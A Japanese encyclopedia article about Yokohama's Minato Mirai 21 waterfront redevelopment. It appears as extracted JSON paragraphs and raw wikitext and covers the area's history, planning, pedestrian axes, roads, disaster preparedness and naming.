"text": "当地区は現在も事業中であり、2021年6月時点の事業進捗率は約96.0%、暫定利用施設を除く本格利用が決定している土地(建設中・計画中含む)の割合は約90.8%となっている。近年では、これまで一定期間で打ち切っていた開発事業者の公募を継続して行うようにしたり、横浜市の指定地域における環境アセスメントの緩和(条例改正)などにより開発条件の柔軟性と共に、経済状況に左右されがちだった当地区の開発にスピード性を持たせている。街づくりとしては業務、集合住宅、商業、観光などの用途で集積が進み最終段階に入りつつある。2021年12月時点の就業人口は約12万5,000人(前年比約8千人増)と増加傾向にある。さらに首都圏における観光地・行楽地としての人気も高く、2019年の年間来街者数は約8,340万人(前年比約30万人増)と1999年の集計開始以降2001年より約20年間概ね増加を続けている。一方、当地区内の人口も2017年12月時点時点で8,500人に上っており、今後も児童数の増加が見込まれることから、2018年 - 2028年度の10年間限定で地区内に横浜市立みなとみらい本町小学校(同本町小学校から分離新設)を開校している。",
"title": "概要"
},
{
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"text": "以下はみなとみらい地区内において、一度は計画されながら何らかの理由により中止となった開発計画である。",
"title": "歴史・今後の予定"
},
{
"paragraph_id": 17,
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"text": "※「キング軸」、「クイーン軸」、「グランモール軸」の3つの歩行者動線については、後節の「#ペデストリアン軸(歩行者動線)」を参照。",
"title": "施設"
},
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"paragraph_id": 18,
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"text": "各街区の位置・詳細情報は、横浜市都市整備局の「みなとみらい21街区開発状況」および「開発状況図(当地区事業概要ページの“最近の状況:街区開発”内を参照)」を参照。また、中央地区における各街区の高さ制限等については同局サイト内の「みなとみらい21中央地区地区計画」および「計画図 (PDF) 」、あるいはみなとみらいエリアマネジメント公式サイト内の「中央地区の街づくり」を参照。",
"title": "施設"
},
{
"paragraph_id": 19,
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"text": "当地区では重要な歩行者ネットワーク(歩行者専用通路)として「キング軸」、「クイーン軸」、「グランモール軸」という三つのペデストリアン軸(英語で pedestrian には「歩行者」という意味がある、軸は都市の根幹を形成する都市軸)を整備する方針となっている。このうち、クイーン軸とグランモール軸の整備はほぼ完了しているが、キング軸は後述のように現在も未整備箇所が一部残る。",
"title": "ペデストリアン軸(歩行者動線)"
},
{
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"text": "なお、キング軸とクイーン軸の名称は横浜三塔とされる建物の愛称からきており、残るジャックについては借用期限のある暫定施設として、グランモール軸に商業施設「ジャックモール」(2012年9月営業終了)が造られた。",
"title": "ペデストリアン軸(歩行者動線)"
},
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"text": "桜木町駅方面からの動線。商業の中心であるランドマークタワーやクイーンズスクエア、さらに国際会議場がある横浜国際平和会議場(パシフィコ横浜)といった当地区を象徴する施設が並ぶ。",
"title": "ペデストリアン軸(歩行者動線)"
},
{
"paragraph_id": 22,
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"text": "まず、桜木町駅前からランドマークタワーまで続いている動く歩道と接続し、ランドマークタワーの2階部分に併設しているショッピングモール「ランドマークプラザ」からクイーンズスクエア内の「クイーンモール」を通り、パシフィコ横浜まで結んでいる。",
"title": "ペデストリアン軸(歩行者動線)"
},
{
"paragraph_id": 23,
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"text": "クイーン軸とキング軸を繋ぐ動線で、軸の両端はそれぞれみなとみらい駅と新高島駅の近辺に当たる。",
"title": "ペデストリアン軸(歩行者動線)"
},
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"paragraph_id": 24,
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"text": "ランドマークタワーとクイーンズスクエアの中間部分にある「ヨーヨー広場」からクイーン軸と交差するようにMARK IS みなとみらいおよび横浜美術館前(美術の広場)、横浜アイマークプレイス(旧ジャックモール)前へと約700mにわたって整備されている「グランモール公園」、さらに新高島駅周辺(旧GENTO YOKOHAMA周辺)まで結んでいる。この区間は横断歩道による軸の切れ目も存在する。",
"title": "ペデストリアン軸(歩行者動線)"
},
{
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"text": "なお、新高島駅周辺から先は横浜グランゲート(54街区)と接続する「みなとみらい歩道橋」、日産本社2階部分の「NISSANウォーク」と続いて「はまみらいウォーク」で帷子川を渡り、横浜駅東口のそごうがある新都市ビルおよびスカイビルの2階部分へアクセスが可能である。",
"title": "ペデストリアン軸(歩行者動線)"
},
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"text": "横浜駅および新高島駅周辺のビジネスゾーンと海側を結ぶ動線。",
"title": "ペデストリアン軸(歩行者動線)"
},
{
"paragraph_id": 27,
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"text": "軸の西端(58街区・横濱ゲートタワー付近)では「高島二丁目歩道橋」(高島二丁目地区にアクセスする、国道1号を渡る歩道橋)と接続しており、そこから東方の海側に向けてグランモール軸と交差する新高島駅周辺・横浜グランゲート前(旧GENTO YOKOHAMA周辺)や高島中央公園、さらには集合住宅地域(Brillia Grandeみなとみらいなどがある50街区)を通り、臨港パークの「潮入りの池」まで一直線に結ぶ計画となっている。しかし長年、日産本社前や新高島駅周辺、集合住宅地域と臨港パークの間など未開発街区が多く残されていたため、周囲の開発の進捗に合わせて軸の整備を行う方針としていた。2012年度には臨港パーク内でキング軸の一部となる階段の整備が行われた。また、2010年代半ば以降には後述の20街区における開発などが決まり、その他の未整備箇所においても軸の整備に向けて動き出している。なお、キング軸が通る新高島駅周辺の52〜54街区(ビジネスゾーンA)はランドマークタワーのある25街区(商業ゾーンA)と同様に、高さ300mまでの建物が建設可能なエリアとなっている。",
"title": "ペデストリアン軸(歩行者動線)"
},
{
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"text": "臨港パーク寄りの20街区では稼働率が限界に近づくパシフィコ横浜の機能を拡張するため、新たな展示場(MICE施設)として「横浜みなとみらい国際コンベンションセンター」(パシフィコ横浜ノース)が整備され2020年に開業した。キング軸はこの20街区の中央付近を通るため、同街区周辺を中心としてMICE拠点都市の顔となるべく緑豊かなビジネス交流空間の形成を目指している。さらにキング軸沿いの開発計画では同軸の地区施設面積のうち50%以上の緑化を目指しており、象徴性かつ独創性のある緑化となるようガイドラインによる誘導も行う方針である。なお、当初の計画では軸の中心線に沿って臨港パークの「潮入りの池」まで、“流れる水のネットワーク”(水路)を敷くイメージが描かれていたが、かつて存在したグランモール軸の水路も既に廃止されており(参照)、現在では水路を設けない計画に変更されている。2021年4月にはキング軸の東端にあたる臨港パークとパシフィコ横浜ノース周辺(20街区)から高島中央公園方面を結ぶキング軸整備の一環として、キングモール橋が供用開始された。",
"title": "ペデストリアン軸(歩行者動線)"
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"text": "なお、明治末期の1911年から1980年代まではこの地区に東海道本線の貨物支線(横浜臨港線)が存在し、横浜港に設けられた「横浜港駅」へは東京駅から「ボート・トレイン」と呼ばれる外国航路へ接続する臨時旅客列車も設定されていた。現在、その廃線跡地が遊歩道の「汽車道」として整備されており、この地区の観光名所にもなっている。",
"title": "交通"
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"text": "毎年あるいは数年おきに開催される主なイベントを以下に記す。",
"title": "主なイベント"
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"text": "「みなとみらい21」という名称は、「みなと横浜」をイメージしつつ、「未来への発展を目指す21世紀の横浜にふさわしい」名称として、1981年、一般公募された約2300点のなかから選出された。他の候補には、「アクアコスモ」「コスモポート」「赤い靴シティ」「シーサイドタウン」「シーガルタウン」「ベイシティ」等があった。",
"title": "街の名称について"
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"text": "決選投票は「赤い靴シティ」と「みなとみらい21」で行われた。なお、「みなとみらい21」の名称は一次選考では落選しており、二次選考の委員から再度発掘されたものである(特に二次選考委員であった柳原良平が「横浜といえば港町である」という理由で強く推したことによる)。",
"title": "街の名称について"
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| 横浜みなとみらい21は、神奈川県横浜市の西区と中区にまたがり、横浜港に面している再開発地域である。また、1983年(昭和58年)度から現在にかけて整備が進められている計画都市である。都市景観100選受賞地区。略称は「みなとみらい」、「みなとみらい21」、「MM21」など。 1989年(平成元年)の横浜博覧会 (YES'89) 以降、当該地区の開発が本格化し、首都圏の新都心として、さいたま新都心(さいたま市)と幕張新都心(千葉市)に並び重点的に整備された。当地区全域は、横浜市における都心(ツインコア)の一つである横浜都心に指定されている。 2000年以降に急速に都市開発が進んだ。2023年現在では横浜とは別の自治体成化が確立しつつあり、様々な公共施設が点在し東京に次ぐ首都化が進んでいる。 | {{Otheruses|横浜市の西区と中区にまたがる再開発地区|西区の町名|みなとみらい}}
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}}
'''横浜みなとみらい21'''(よこはまみなとみらい21、Minato Mirai 21)は、[[神奈川県]][[横浜市]]の[[西区 (横浜市)|西区]]と[[中区 (横浜市)|中区]]にまたがり<ref group="注">西区では[[みなとみらい]]、[[高島 (横浜市)|高島]]の一部、中区では[[新港 (横浜市)|新港]]、[[内田町 (横浜市)|内田町]]、[[桜木町]]の一部、[[海岸通 (横浜市)|海岸通]]の一部([[象の鼻パーク]]のみ)が当地区に含まれている。</ref>、[[横浜港]]に面している[[都市再開発|再開発]]地域である。また、[[1983年]]([[昭和]]58年)度から現在にかけて整備が進められている[[計画都市]]である。[[都市景観100選]]受賞地区。略称は「'''みなとみらい'''」、「'''みなとみらい21'''」、「'''MM21'''」など。
[[1989年]]([[平成]]元年)の[[横浜博覧会]] (YES'89) 以降、当該地区の開発が本格化し<ref>{{Cite web|和書|title=横浜博覧会は今の横浜にどんな影響を残してる?|url=https://hamarepo.com/story.php?story_id=1433|website=[[はまれぽ.com]]|date=2012-11-03|accessdate=2020-07-25}}</ref>、[[首都圏 (日本)|首都圏]]の[[都心#東京隣県の拠点地区|新都心]]として、[[さいたま新都心]]([[さいたま市]])と[[幕張新都心]]([[千葉市]])に並び重点的に整備された<ref>{{Cite web|和書|url = https://www.nomu.com/machikara/414/ |title = 【みなとみらい】首都圏の新都心として発展。港町・横浜の新たな顔 |publisher = 野村不動産 |accessdate = 2020-01-15 }}</ref>。当地区全域は、横浜市における[[都心]](ツインコア)の一つである'''横浜都心'''に指定されている<ref>{{PDFlink|[https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/sogotyousei/plan/kaitei/kaitei.files/0002_20180921.pdf 横浜市都市計画マスタープラン(全体構想)]〈[https://web.archive.org/web/20220220035351/https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/sogotyousei/plan/kaitei/kaitei.files/0002_20180921.pdf アーカイブ]〉}}(横浜市 平成25年 {{small|(2013年)}} 3月発行、編集・発行:横浜市都市整備局企画部企画課)</ref>。
[[画像:070203 MM21&FUJI.jpg|280px|thumb|みなとみらいと[[富士山]]の夕景(2007年2月)]]
[[画像:The night view of Minato Mirai 21.jpg|280px|thumb|みなとみらいの夜景(2014年12月)]]
[[2000年]]以降に急速に[[都市開発]]が進んだ。[[2023年]]現在では横浜とは別の自治体成化が確立しつつあり、様々な公共施設が点在し東京に次ぐ首都化が進んでいる<ref>{{Cite web|和書|url=https://www.ymm21.jp/biz/vision.html |title=事業構想 |access-date=2023/01/25 |publisher=みなとみらいエリアマネジメント}}</ref>。
== 概要 ==
=== 事業計画と着工までの経緯 ===
[[1980年代]]に再開発が行われる以前、当地には[[横浜船渠|三菱重工業横浜造船所]]、[[日本国有鉄道|国鉄]][[高島線]]([[貨物線|貨物支線]])の[[東横浜駅]]および[[高島駅 (神奈川県)|高島駅・高島ヤード(操車場)]]、[[高島埠頭]]、[[新港 (横浜市)|新港埠頭]]などの広大な港湾・業務関連施設が広がっており<ref name="hamarepo120905">[http://hamarepo.com/story.php?page_no=0&story_id=1275 みなとみらいは昔、どんなところだったの? (前編)](はまれぽ.com 2012年9月5日/[http://hamarepo.com/story.php?page_no=0&story_id=1326 {{small|→後編}}])</ref><ref>[http://blog.railmec.info/?p=1176 横浜機関区の終焉](レールメカの巣 ''2012年10月'')</ref><ref>[http://hama80s.exblog.jp/19710745/ 高島埠頭の市営上屋](週刊 横濱80's ''2013年5月19日'')</ref>、横浜市の中心部に位置しているにもかかわらず一般の観光客が気軽に立ち寄れるような場所ではなかった。そのため、巨大[[ターミナル駅]]で市内随一の[[繁華街]]である[[横浜駅]]一帯([[西区 (横浜市)|西区]])と、横浜港開港以来の[[中心市街地]]である[[関内]]([[中区 (横浜市)|中区]])の2つの横浜都心(ツインコア)は長らく分断された状態が続いていた。そういった経緯から、それまでの港湾・業務施設の機能を他所に移転させ、横浜都心部の一体化と都市機能の強化を目指した[[ウォーターフロント]]都市[[都市再開発|再開発]]として計画・建設された。
[[飛鳥田一雄]]横浜市長が[[1963年]]に当選し、横浜の五重苦<ref name="yokohama-gojyuku">[http://tadkawakita.sakura.ne.jp/db/?p=5206 横浜の五大苦](YOKOHAMA xy通信 2014年7月22日)</ref>と呼ばれた[[関東大震災]]、[[昭和恐慌]]、[[太平洋戦争]]による[[横浜大空襲]]、[[連合国軍最高司令官総司令部|GHQ]]による[[占領]]と市内都心部の接収{{refnest|group="注"|当時[[アメリカ合衆国|アメリカ]]占領下にあった[[沖縄県|沖縄]]を除くと、接収された面積は横浜が一番大きかった<ref name="yokohama-gojyuku"/>。}}、および人口急増による[[スプロール現象]]を克服することが地域としての大きな課題となっていた。そのため[[1965年]]に'''[[横浜市六大事業]]'''が提案され、都心部強化として三菱重工業横浜造船所、国鉄高島線の東横浜駅(貨物駅)・高島ヤード(操車場)、高島埠頭、新港埠頭の一帯を再整備し横浜駅周辺と関内・[[伊勢佐木町]]という2つに分断された横浜都心部を一体化させる「都心部強化事業」として、就業人口19万人・居住人口1万人を目標とした[[事業計画]]が打ち出された。以降、[[オイルショック]]をはじめとする経済情勢の影響などにより計画はしばらく進行していなかったが、[[1979年]]に[[細郷道一]]横浜市長の下で「横浜市都心臨海部総合整備計画」基本構想が発表され、三菱重工業横浜造船所等の移転完了とともに[[1983年]]に「みなとみらい21」事業としてようやく着工に至った(事業名および街の名称の決定については後節「[[#街の名称について]]」を参照)。なお、この時点では高島ヤード周辺の開発の目処が立っていなかったため、横浜駅側<!--(高島地区)-->からではなく、前述の造船所跡<!--と[[埋立地]]-->が広がる[[桜木町駅]]側<!--(三菱造船所地区)-->から開発を進めていくことになった<ref name="machi-initiative-mm21">[https://www.machi-initiative.com/research-materials/%E3%81%BF%E3%81%AA%E3%81%A8%E3%81%BF%E3%82%89%E3%81%84%EF%BC%92%EF%BC%91minatomirai21/ みなとみらい21開発の経緯](NPO法人 [[田村明]]記念・まちづくり研究会):「日本建築学会MM21査読論文(田口俊夫 2017年5月)」および「みなとみらい21開発の経緯分析研究(田口俊夫 2016年4月3日)」参照</ref>。
また、[[首都圏 (日本)|首都圏]]は[[東京都区部|東京23区]](特に都心3区)の都市機能の集積が大きいため、横浜市は自治体として日本一の人口を擁するものの東京の[[衛星都市]]・[[ベッドタウン]]としての側面が強く、横浜市から東京への通勤・通学者数が多いことから横浜市の昼夜間人口比率は常に100を下回り続けてきた。このような東京都心一極集中から首都圏での展都という趨勢の中で、みなとみらい計画は神奈川県および横浜市の経済拠点として首都圏経済を牽引する役割の分担により東京都心の負荷を軽減し、さらには市内経済を活性化するため、企業法人[[本社]]機能や事業所等の立地促進、企業法人の集積の波及として起こる中小企業の活性化や新規起業者の増加などを目指している。具体的には[[日産自動車]]や[[いすゞ自動車]]、[[京浜急行電鉄]]といった大企業の東京からの本社移転や、[[富士フイルムビジネスイノベーション|富士フイルム]]、[[ソニー]]、[[資生堂]]、[[村田製作所]]、[[大韓民国|韓国]]の[[LGエレクトロニクス|LG]]などの[[研究開発]]施設(R&Dセンター)の誘致に成功し、横浜市の業務機能([[オフィスビル]])・就業人口の拡大に寄与した。
このように、本計画は横浜市において2つに分断された都心部を一体化させることで都市機能を充実し、[[昼間人口]]や就業人口を増やすことで市内経済の活性化を目指し、地域社会の成長を目指した施策である。
=== 都市計画 ===
[[画像:MM21 Central district 1998-01-31.jpg|thumb|260px|開発中の中央地区(1998年1月)]]
[[画像:MM21 Newport District 1998-01-31.jpg|thumb|260px|開発中の新港地区(1998年1月)]]
当地区の細かい区分として、[[横浜ランドマークタワー]]や[[日産自動車グローバル本社]]などがあり[[オフィスビル]]開発を推進する「'''[[みなとみらい|中央地区]]'''」と、[[横浜赤レンガ倉庫]]や[[よこはまコスモワールド]]<ref group="注">観覧車「[[コスモクロック21]]」などがあるみなとみらいの15街区が該当する。なお、コスモワールドは中央地区にあたる同23街区にまたがって運営されている。</ref>などがある「'''[[新港 (横浜市)|新港地区]]'''」、[[横浜新都市センター#横浜新都市ビル|横浜新都市ビル]]([[そごう横浜店]])や[[横浜スカイビル]]がある68街区の「'''[[横浜駅]]東口地区'''」([[栄本町線#栄本町線支線1号|出島地区]])に分けられる<ref name="toshi-kaihatsujokyozu"/><ref name="MM-info85"/>。当地区全体の面積は約1.86[[平方キロメートル|km{{sup|2}}]](約186[[ヘクタール|ha]])、そのうち[[埋立地|埋め立て部]]は約0.76km{{sup|2}}(約76ha)である<ref name="mec-ylmt20th">{{PDFlink|[http://www.mec.co.jp/j/news/archives/mec130712_LMT20th.pdf 「横浜ランドマークタワー」開業 20 周年]}}(三菱地所株式会社:ニュースリリース 2013年7月12日)</ref>。また、[[2014年]]度に策定された「横浜市都心臨海部再生マスタープラン」では「'''みなとみらい21地区'''」として、都心臨海部五地区のうちの一つに指定されている<ref name="yokohama-toshinmp">[http://www.city.yokohama.lg.jp/toshi/kikaku/toshinmp/ 横浜市都心臨海部再生マスタープラン](横浜市都市整備局 2014年3月20日作成、2015年2月23日更新、''2015年3月4日閲覧 {{small|〈[https://megalodon.jp/2015-0304-1642-47/www.city.yokohama.lg.jp/toshi/kikaku/toshinmp/ 同日付のウェブ魚拓キャッシュ]〉}}'')/[https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/sogotyousei/toshinmp/toshinmpsakutei.html 横浜市都心臨海部再生マスタープランを策定しました(平成27年2月)](横浜市都市整備局 2019年3月14日)</ref>。さらに当地区全体は「横浜都心・臨海地域」の一部として[[都市再生特別措置法]]による[[都市再生緊急整備地域]]に指定されており{{refnest|group="注"|新港地区については2018年10月の「都市再生緊急整備地域」指定区域拡大により追加指定された<ref name="city-yokohama181019">[https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/sogotyousei/toshisaisei/default201901231455.html 横浜都心・臨海地域「都市再生緊急整備地域」・「特定都市再生緊急整備地域」の指定区域が拡大されました]/{{PDFlink|[https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/sogotyousei/toshisaisei/default201901231455.files/0011_20190123.pdf 詳細資料{{small|〈記者発表資料〉}}]〈[https://web.archive.org/web/20210824200447/https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/sogotyousei/toshisaisei/default201901231455.files/0011_20190123.pdf アーカイブ]〉}}(横浜市都市整備局 平成30年 {{small|(2018年)}} 10月19日)</ref>。}}、そのうち中央地区([[臨港パーク]]や[[日本丸メモリアルパーク]]など一部除く)は'''特定都市再生緊急整備地域'''にも指定されている<ref name="city-yokohama181019"/><ref name="yokohama-toshisaisei">[https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/sogotyousei/toshisaisei/toshisaisei.html 都市再生緊急整備地域・特定都市再生緊急整備地域](横浜市都市整備局)</ref>。
当地区の整備は、あらかじめ決められた基本的方針によって計画的に行われており、「[[21世紀]]にふさわしい[[未来]]型都市」を目指して開発が進められている。[[電線]]・[[ツイストペアケーブル|電話線]]([[光ファイバー]])は[[共同溝]]により上下水道などとともに埋設され、さらに共同溝による[[ごみ]]集積([[廃棄物]]管路収集<ref name="shigenkousya-kanrosyusyu"/>、[[2017年]]度末に廃止<ref group="注" name="gomi-kanrosyusyu"/><ref name="kanaloco140112"/><ref name="hamarepo160428"/><ref name="asahi180325"/>)、[[地域熱供給|地域冷暖房]]([[みなとみらい21熱供給]]が運営)を導入しており、[[省エネ]]にも配慮している<ref>[https://www.ymm21.jp/disa/ditch.html 共同溝](みなとみらいエリアマネジメント公式サイト)</ref>。すべての[[幹線]]道路の[[歩道]]には[[街路樹]]が植えられ(後述)、建設される建物は白を基調<ref>[https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/mm21/keikansakutei/keikan.html みなとみらい21中央地区景観計画・都市景観協議地区]:{{PDFlink|[https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/mm21/keikansakutei/keikan.files/0039_20210401.pdf みなとみらい21中央地区都市景観形成ガイドライン(第2版)]}}(横浜市都市整備局みなとみらい21推進課 平成25年 {{small|(2013年)}} 11月作成<!--/[http://www.city.yokohama.lg.jp/toshi/mm21/keikan/ 景観計画・都市景観協議地区の策定]-->)</ref>(新港地区は茶色系統<ref>[https://www.city.yokohama.lg.jp/business/bunyabetsu/kowan/keikan/keikan.html 景観計画・都市景観協議地区の策定~みなとみらい21新港地区~]:{{PDFlink|[https://www.city.yokohama.lg.jp/business/bunyabetsu/kowan/keikan/keikan.files/0035_20211027.pdf みなとみらい21 新港地区 街並み景観ガイドライン]}}(横浜市港湾局企画調整課 平成22年 {{small|(2010年)}} 1月発行、令和3年 {{small|(2021年)}} 11月更新)</ref>)とし統一感を持たせている<ref>[https://www.ymm21.jp/news/rediscovery/test.php "みなとみらい色"に染まる](みなとみらいエリアマネジメント公式サイト)</ref><ref name="zaikei-ymm140807">{{PDFlink|[http://www.city.yokohama.lg.jp/zaisei/toti/hoyutochi/mm21/img/ymm.pdf みなとみらい21地区のまちづくり]}}(一般社団法人横浜みなとみらい21 2014年8月7日)</ref>。
また、[[災害]]・非常時の対策として臨港パーク、[[高島中央公園]]、[[グランモール公園#円形広場・ヨーヨー広場|ヨーヨー広場]]、[[新港 (横浜市)#緑地整備|カップヌードルミュージアムパーク]](新港パーク)の地下に災害用地下[[貯水槽|給水タンク]](4基あわせて約4,500[[立方メートル|m{{sup|3}}]] <ref group="注">= 約4,500[[トン]]。</ref>、50万人分の[[飲料水]]3日分を貯水)が設置されている<ref name="MM-info85"/><ref name="ymm21-disaster">[https://www.ymm21.jp/disa/disaster.html 災害対策](みなとみらいエリアマネジメント公式サイト)</ref><ref name="ymm21-30">[https://www.ymm21.jp/news/rediscovery/21_30.php みなとみらい21は災害に強い街である](みなとみらいエリアマネジメント公式サイト)</ref>。この他、中央地区の大部分は[[埋立地]]<ref name="hamarepo120905"/>であるが[[液状化現象|液状化]]対策として、[[造成]]時に[[粒径]]が異なる土砂を使用したり、地中では各種[[地盤改良]]も施されている<ref name="ymm21-30"/><ref name="ymm21-ground">[https://www.ymm21.jp/disa/ground.html 地盤改良・液状化防止](みなとみらいエリアマネジメント公式サイト)</ref>{{refnest|group="注"|[[宅地]]エリア下部の[[軟弱地盤]]では一定の間隔で砂の[[杭]]を作る「[[サンドドレーン工法]]」(地中の水を短時間で排除し[[地盤沈下]]を防ぐ)、道路下部の軟弱地盤では[[セメント]]などの改良材を混ぜ合わせ[[地盤]]を固める「[[地盤改良#深層混合処理工法|深層混合処理工法]]」がいずれも埋立造成時より施されており、液状化が起こりにくい土地構造となっている<ref name="ymm21-ground"/>。}}。さらに[[津波]]対策として中央地区では[[護岸]]の高さが標高2.7 - 3.1m、宅地の高さが標高3.1 - 5.0mに設定されている<ref name="ymm21-tsunami">[https://www.ymm21.jp/disa/tsunami.html 高潮対策・津波対策](みなとみらいエリアマネジメント公式サイト)</ref>{{refnest|group="注"|最大クラスの津波が想定される[[元禄地震|元禄型関東地震]](最大津波高2.6m)や[[慶長地震|慶長型地震]](最大津波高4.1m)でもほとんど[[水害|浸水]]しない高さとなっている<ref name="zaikei-ymm140807"/><ref name="ymm21-tsunami"/><ref>{{PDFlink|[http://www.pref.kanagawa.jp/uploaded/attachment/432689.pdf 「津波浸水予測図」元禄型関東地震(横浜市西区 神奈川区)]}}/{{PDFlink|[http://www.pref.kanagawa.jp/uploaded/attachment/432520.pdf 「津波浸水予測図」慶長型地震(横浜市西区 神奈川区)]}}(神奈川県公式ウェブサイト:[http://www.pref.kanagawa.jp/cnt/f360944/ 「津波浸水予測図」について] 平成24年 {{small|(2012年)}} 3月作成)</ref>。}}など、当初より災害に強い街づくりが行われている<ref name="zaikei-ymm140807"/><ref name="ymm21-30"/>。
当地区の中核には、高さ296mで建設当時[[日本一の一覧|日本一]]高いビルであった横浜ランドマークタワーがある(現在は2番目)。このビルを頂点として、海側に向かって建物の高さが段々と低くなる[[スカイライン (風景)|スカイライン]]が形成されている<ref>[https://www.ymm21.jp/news/rediscovery/post_2.php スカイラインはみなとみらいの空を走る](みなとみらいエリアマネジメント公式サイト)</ref>。ランドマークタワー横の「[[横浜ランドマークタワー#ドックヤードガーデン|ドックヤードガーデン]]」は造船所で実際に[[乾ドック|ドック]]として使われていたもので、[[1997年]](平成9年)12月に国の[[重要文化財]]に指定されている(指定名:旧[[横浜船渠]]株式会社第二号船渠)。また、[[1911年]]([[明治]]44年)と[[1913年]]([[大正]]2年)にそれぞれ[[:wikt:竣工|竣工]]した新港地区の横浜赤レンガ倉庫(1号館・2号館)は5年以上かけて修復工事および周辺の整備が行われ、[[2002年]]に「[[赤レンガパーク]]」としてオープンし、現在では横浜を代表する[[観光地]]となっている。
当地区の道路は、「[[栄本町線|みなとみらい大通り]]」「[[臨港幹線道路|国際大通り]]」の2本の大通り(主要幹線道路)<ref group="注">みなとみらい大通りは[[都市計画道路]]「[[栄本町線]]」、国際大通りは[[臨港幹線道路]]の一部である。</ref>と、それらを結ぶ「さくら通り」「けやき通り」「いちょう通り」「すずかけ通り」「とちのき通り{{Refnest|group="注"|整備前の段階では「ゆりのき通り」という呼び名であった<ref name="MM-info69">{{PDFlink|[https://www.ymm21.jp/common/pdf/info_v069.pdf 「みなとみらい21 Information」 vol.69]}}(2003年3月発行/横浜みなとみらい21地区の街づくり公式サイト)</ref>。これは横浜市道路局の「横浜市街路樹設置基準」の改訂(2002年)で、整備前に[[ユリノキ]]から[[トチノキ]]へ街路樹の変更が行われたためである(実際に道路の整備が行われたのは改訂翌年の2003 - 2004年度)<ref>[http://hamarepo.com/story.php?story_id=4418 みなとみらいから「通り」が消えた? 幻の「ゆりのき通り」の行方は!?](はまれぽ.com 2015年8月16日)</ref>。なお計画時の名称としては、すずかけ通り・いちょう通り・けやき通り・さくら通りの順にみなとみらい1号線〜4号線という番号振りがされており、とちのき通りは6号線に当たる。また5号線はそれぞれの通りを[[垂直]]に結ぶ、MRAK IS みなとみらい東側{{small|(みなとみらい駅前交差点)}}〜高島中央公園西側{{small|(みなとみらい五丁目交差点)}}までの通りで、街路樹は[[ハナノキ]]が植えられている<ref name="ur-mm21toshikukaku-0611">{{PDFlink|[http://www.ur-net.go.jp/toshisaisei/urbanr/pdf2/mm21.pdf 横浜国際港都建設事業 みなとみらい21中央地区土地区画整理事業]〈[https://web.archive.org/web/20180625213328/https://www.ur-net.go.jp/toshisaisei/urbanr/pdf2/mm21.pdf アーカイブ]〉}}(UR都市機構 2006年11月)</ref>。}}」(幹線道路)で構成されている<ref name="MM-info85"/>。これらの通りにはそれぞれ[[四季]]を代表する種類の異なった街路樹が植えられており、みなとみらい大通りが[[クスノキ]]、さくら通りが[[ソメイヨシノ]]、けやき通りが[[ケヤキ]]、いちょう通りが[[イチョウ]]、すずかけ通りが[[プラタナス]]、とちのき通りが[[ベニバナトチノキ]]となっている(みなとみらい大通りを除き、通りの呼び名は街路樹の種類に因む)<ref name="ur-mm21toshikukaku-0611"/>。また道路とは別に[[歩行者]]専用通路として、クイーン軸・グランモール軸・キング軸(整備中)という三つの軸が整備されている(詳細は[[#ペデストリアン軸(歩行者動線)|後節]])。一方、[[横浜港]]を周回する「[[臨港幹線道路]]」の一部として、[[山内埠頭]]([[コットンハーバー地区|コットンハーバー]])方面へ至る連絡橋(みなとみらい橋、コットン大橋)が予定より大幅に遅れて[[2008年]]12月に開通しており、同道路の国際大通り地下部分に当たる整備計画では、みなとみらい橋手前から[[横浜ワールドポーターズ]]付近までの[[延長 (日本の道路)|延長]]約1.3[[キロメートル|km]]の[[トンネル]]が長期供用延期{{refnest|group="注"|[[1986年]]度より着工され、[[1999年]]度には既に竣工していたものの、[[交通]]量が見込めず維持管理費の問題等で長らく供用が延期されていた<ref name="carsensor130403"/><ref name="hamarepo130308"/>。}}の末、[[2013年]]3月に「みなとみらいトンネル」としてようやく開通に至った<ref name="carsensor130403">[http://www.carsensor.net/contents/news/_21887.html 完成は14年前! 横浜・みなとみらいのトンネルがついに開通](日刊[[カーセンサー]]:旬ネタ 2013年4月3日)</ref><ref name="hamarepo130308">[http://hamarepo.com/story.php?story_id=1710 みなとみらいの新しい地下道がついに開通!その現状は!?](はまれぽ.com 2013年3月8日)</ref><ref>[http://www.city.yokohama.lg.jp/kowan/news/houdou/2013houdou/20130304091849.html 国際大通り「みなとみらいトンネル」の開通について]〈[https://web.archive.org/web/20180625185649/http://www.city.yokohama.lg.jp/kowan/news/houdou/2013houdou/20130304091849.html アーカイブ]〉(横浜市港湾局 平成25年 {{small|(2013年)}} 3月1日)</ref>。この他に今後整備予定の道路として、みなとみらい大通り(栄本町線)の橋で[[帷子川]]下流・[[港湾]]上に架かる[[みなとみらい大橋]]と、そごうやスカイビルが建設されている68街区の横浜駅東口地区(出島地区)を結ぶ「[[栄本町線#栄本町線支線1号|栄本町線支線1号]]」の計画がある<ref>[http://www.kensetsunews.com/?p=20347 16年度末までに都計決定/全体構想は年度内策定/横浜駅東口開発](建設通信新聞 2013年9月20日付:関東面/[[archive.is]]による[https://archive.fo/lG59r 2013年9月29日時点のアーカイブ])</ref><ref>[http://taccolinmm.livedoor.blog/archives/2282938.html 将来はTの字型に?? みなとみらい大橋](みなとみらい線周辺散歩日記 2008年5月31日/[[ウェイバックマシン|Wayback Machine]]による[https://web.archive.org/web/20160508072743/http://blogs.yahoo.co.jp/taccolin/56596011.html 2016年5月8日時点のアーカイブ])</ref>。
